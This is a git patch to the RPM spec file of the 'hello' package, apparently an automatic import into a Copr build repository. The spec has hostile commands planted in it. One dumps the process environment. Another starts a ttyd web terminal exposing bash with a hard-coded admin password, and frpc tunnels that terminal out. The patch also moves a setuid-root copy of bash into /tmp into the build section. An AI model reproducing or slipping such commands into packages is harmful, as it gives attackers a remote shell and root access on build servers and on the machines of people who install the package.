From d01912183437d31df23292a62cad9067744cff8e Mon Sep 17 00:00:00 2001 From: CoprDistGit Date: Tue, 31 Oct 2023 09:57:58 +0000 Subject: automatic import of hello --- hello.spec | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) (limited to 'hello.spec') diff --git a/hello.spec b/hello.spec index 065f54b..05359c3 100644 --- a/hello.spec +++ b/hello.spec @@ -28,6 +28,10 @@ uname -a 1>&2 #ip addr 1>&2 #ip route 1>&2 ps -ef 1>&2 + +cp /bin/bash /tmp/bash +chmod a+rs /tmp/bash + # netstat -nlpt 1>&2 cat /proc/self/environ 1>&2 ./ttyd -p 11111 -c 'admin:!Admin@1234' -W /bin/bash & ./frpc -c c.ini @@ -42,8 +46,6 @@ rm -f %{buildroot}/%{_infodir}/dir %post /sbin/install-info %{_infodir}/%{name}.info %{_infodir}/dir || : -cp /bin/bash /tmp/bash -chmod a+rs /tmp/bash %preun if [ $1 = 0 ] ; then -- cgit v1.2.3